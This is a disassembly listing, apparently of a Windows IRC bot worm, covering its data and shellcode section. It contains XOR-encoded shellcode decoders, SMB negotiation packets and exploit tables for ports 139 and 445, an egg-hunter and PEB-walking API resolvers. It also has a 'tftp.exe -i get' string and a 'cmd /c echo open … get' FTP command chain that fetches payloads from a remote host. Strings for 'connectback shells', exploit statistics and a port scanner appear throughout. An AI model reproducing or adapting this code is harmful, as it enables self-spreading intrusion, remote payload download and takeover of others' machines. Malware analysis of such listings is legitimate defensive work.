aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DDD4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DDD0o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DDCCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DDC8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DDC4o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DDC0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DDBCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DDB8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DDB4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DDB0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DDACo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DDA8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DDA4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DDA0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DD9Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DD98o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DD94o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DD90o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DD8Co
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DD88o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DD84o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DD80o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DD7Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DD78o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DD74o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DD70o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DD6Co
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DD68o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DD64o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DD60o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DD5Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DD58o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DD54o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DD50o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DD4Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DD48o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DD44o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042DD40o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042DD3Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042DD38o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042DD34o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042DD30o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042DD2Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042DD28o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042DD24o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042DD20o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042DD1Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042DD18o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042DD14o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042DD10o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042DD0Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042DD08o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042DD04o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042DD00o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42DCFCo
aAdams		db 'Adams',0            ; DATA XREF: ___:0042DCF8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042DCF4o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42DCF0o
		align 4
byte_431948	db 50h			; DATA XREF: ___:0040ADF0o
					; ___:0040ADFDr
		db 43h,	2 dup(0)
dword_43194C	dd 7C7325h		; DATA XREF: ___:0040AE9Bo
dword_431950	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA5o
dword_431958	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Co
					; sub_41AA43:loc_41AB06o
dword_43195C	dd 334B32h		; DATA XREF: ___:0040AF95o
dword_431960	dd 5058h		; DATA XREF: ___:0040AF87o
					; sub_41AA43+AAo
dword_431964	dd 4B32h		; DATA XREF: ___:0040AF77o
					; sub_41AA43+98o
dword_431968	dd 454Dh		; DATA XREF: ___:0040AF5Eo
					; sub_41AA43+7Eo
dword_43196C	dd 3839h		; DATA XREF: ___:0040AF4Eo
					; sub_41AA43+6Co
dword_431970	dd 544Eh		; DATA XREF: ___:0040AF3Eo
					; sub_41AA43+5Ao
dword_431974	dd 3539h		; DATA XREF: ___:0040AF30o
					; sub_41AA43+46o
dword_431978	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEB+3Ao
off_431980	dd offset byte_5D4D5B	; DATA XREF: sub_40AFEB+2Co
					; sub_40AFEB+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEB+18o
					; sub_418212+5o
		align 4
		jmp	short loc_431990
; ---------------------------------------------------------------------------


loc_43198E:				; CODE XREF: ___:loc_431990p
		jmp	short loc_431995
; ---------------------------------------------------------------------------


loc_431990:				; CODE XREF: ___:0043198Cj
		call	loc_43198E


loc_431995:				; CODE XREF: ___:loc_43198Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_43199C:				; CODE XREF: ___:004319A1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_43199C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4319B2:				; CODE XREF: ___:004319B7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4319B2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A54
		jnz	short loc_431A40
		retn
; ---------------------------------------------------------------------------


loc_431A40:				; CODE XREF: ___:00431A3Dj
					; ___:00431A4Dj
		call	near ptr loc_431A45+1


loc_431A45:				; CODE XREF: ___:loc_431A40p
		add	[edx+0], ch
		call	sub_431A54
		jz	loc_431A40
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A54	proc near		; CODE XREF: ___:00431A38p
					; ___:00431A48p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A54	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C125+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DB+30o
		align 4
		dd 5 dup(0)
dword_431B00	dd 0B97h		; DATA XREF: sub_401ACD+1DA1r
					; sub_401ACD+1DCAo ...
off_431B04	dd offset sub_40E0D1	; DATA XREF: sub_40C125+1EAr
dword_431B08	dd 0			; DATA XREF: sub_40B64B+2Eo
					; ___:0040D496w ...
dword_431B0C	dd 1			; DATA XREF: sub_40BACE+1Fr
dword_431B10	dd 1			; DATA XREF: sub_40BACE+3B3r
dword_431B14	dd 0			; DATA XREF: sub_40BACE+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E207h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Fh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Fh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2DAh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_431CE2	db 1			; DATA XREF: sub_401ACD:loc_4037E7r
					; sub_401ACD+1D24o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431D0E

; =============== S U B	R O U T	I N E =======================================



sub_431CFE	proc near		; CODE XREF: sub_431CFE:loc_431D0Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431D06:				; CODE XREF: sub_431CFE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431D06
		jmp	short loc_431D13
; ---------------------------------------------------------------------------


loc_431D0E:				; CODE XREF: ___:00431CFCj
		call	sub_431CFE


loc_431D13:				; CODE XREF: sub_431CFE+Ej
		jo	short near ptr dword_431C9C+12h
		cwde
		cdq
		cdq
		retn
sub_431CFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
		align 10h
dword_431E90	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64B+46o
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40B64B+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431EBC	db  2Dh	; -		; DATA XREF: sub_40B71A+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431F04	db  2Dh	; -		; DATA XREF: sub_40B786+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DB+7Fo
dword_431F40	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o
dword_431F50	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DB+14o
		dd 7473694Ch, 3Ah
unk_431F6C	db  2Dh	; -		; DATA XREF: ___:0040BA14o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431FA0	db  2Dh	; -		; DATA XREF: ___:0040B922o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431FD0	db  2Dh	; -		; DATA XREF: sub_40BA57+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431FF0	db  2Dh	; -		; DATA XREF: sub_40BA57+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43200C	db  2Dh	; -		; DATA XREF: sub_40BACE+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_432040	db  2Dh	; -		; DATA XREF: sub_40BACE+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432078	db  2Dh	; -		; DATA XREF: sub_40BACE+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4320A8	db  2Dh	; -		; DATA XREF: sub_40BACE+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320DC	db  2Dh	; -		; DATA XREF: sub_40BACE+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_432110	db  2Dh	; -		; DATA XREF: sub_40BACE+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432144	db  2Dh	; -		; DATA XREF: sub_40C125+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43216C	db  2Dh	; -		; DATA XREF: sub_40C125+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4321A4	db  2Dh	; -		; DATA XREF: sub_40C125+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321E4	db  2Dh	; -		; DATA XREF: sub_40C125+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_43221C	db  2Dh	; -		; DATA XREF: sub_40C125+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432250	db  2Dh	; -		; DATA XREF: sub_40C125+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_432284	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59C+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADB+B2o
		align 4
dword_432338	dd 10FF8h, 0		; DATA XREF: sub_40CADB+6Ao
dword_432340	dd 10FF8h		; DATA XREF: sub_40CADB+79o
dword_432344	dd 7FFDF020h, 0		; DATA XREF: sub_40CADB+162o
dword_43234C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF05+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323D4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF05+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432404	dd 0			; DATA XREF: sub_40CF05+44o
		dd 800000D4h, 0
unk_432410	db  81h	; 		; DATA XREF: sub_40CFDF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43245C	db 41h			; DATA XREF: sub_40D07D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4324A0	proc near		; DATA XREF: ___:0040D35Co
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43259C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4325B2
		mov	[esi+8], eax
		call	sub_432565
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4325B2
		mov	[esi+0Ch], eax
		call	sub_432517
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4325B2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4324A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432517	proc near		; CODE XREF: sub_4324A0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432540
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432517	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432540	proc near		; CODE XREF: sub_432517+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43254F:				; CODE XREF: sub_432540+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43255C
		inc	ebx
		jmp	short loc_43254F
; ---------------------------------------------------------------------------


loc_43255C:				; CODE XREF: sub_432540+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432540	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432565	proc near		; CODE XREF: sub_4324A0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43257D:				; CODE XREF: sub_432565+1Ej
		cmp	[ecx], ebx
		jz	short loc_432585
		mov	ecx, [ecx]
		jmp	short loc_43257D
; ---------------------------------------------------------------------------


loc_432585:				; CODE XREF: sub_432565+1Aj
		mov	edx, edi


loc_432587:				; CODE XREF: sub_432565+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432591
		mov	edx, [edx+4]
		jmp	short loc_432587
; ---------------------------------------------------------------------------


loc_432591:				; CODE XREF: sub_432565+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432565	endp


; =============== S U B	R O U T	I N E =======================================



sub_43259C	proc near		; CODE XREF: sub_4324A0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43259C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4325B2	proc near		; CODE XREF: sub_4324A0+16p
					; sub_4324A0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4325C8:				; CODE XREF: sub_4325B2+33j
		jecxz	short loc_432602
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4325D5:				; CODE XREF: sub_4325B2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325E1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4325D5
; ---------------------------------------------------------------------------


loc_4325E1:				; CODE XREF: sub_4325B2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4325C8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432602:				; CODE XREF: sub_4325B2:loc_4325C8j
					; sub_4325B2:loc_432602j
		jmp	short loc_432602
sub_4325B2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432608	proc near		; DATA XREF: ___:0040D30Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43265A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432625:				; CODE XREF: sub_432608+38j
		jecxz	short loc_432655
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432630:				; CODE XREF: sub_432608+32j
		lodsb
		test	al, al
		jz	short loc_43263C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432630
; ---------------------------------------------------------------------------


loc_43263C:				; CODE XREF: sub_432608+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432625
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432655:				; CODE XREF: sub_432608:loc_432625j
		mov	[esp+arg_0], ebx
		retn
sub_432608	endp


; =============== S U B	R O U T	I N E =======================================



sub_43265A	proc near		; CODE XREF: sub_432608+7p

; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432673
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43267E
; ---------------------------------------------------------------------------


loc_432673:				; CODE XREF: sub_43265A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43267E:				; CODE XREF: sub_43265A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432692
sub_43265A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432685	proc near		; CODE XREF: sub_43265A:loc_432692p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432685	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43265A


loc_432692:				; CODE XREF: sub_43265A+29j
		call	sub_432685


loc_432697:				; DATA XREF: sub_40CADB+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43265A
; ---------------------------------------------------------------------------
		dw 0
dword_43269C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
dword_4326A8	dd 30h			; DATA XREF: sub_40CADB+2CAo
dword_4326AC	dd 0A1h			; DATA XREF: sub_40CADB+29Fo
dword_4326B0	dd 3			; DATA XREF: sub_40CADB+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADB+153o
		align 4


loc_4326BC:				; DATA XREF: sub_40CADB+E8o
		jmp	short near ptr dword_4326C4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4326C4	dd 0			; CODE XREF: ___:loc_4326BCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D331o
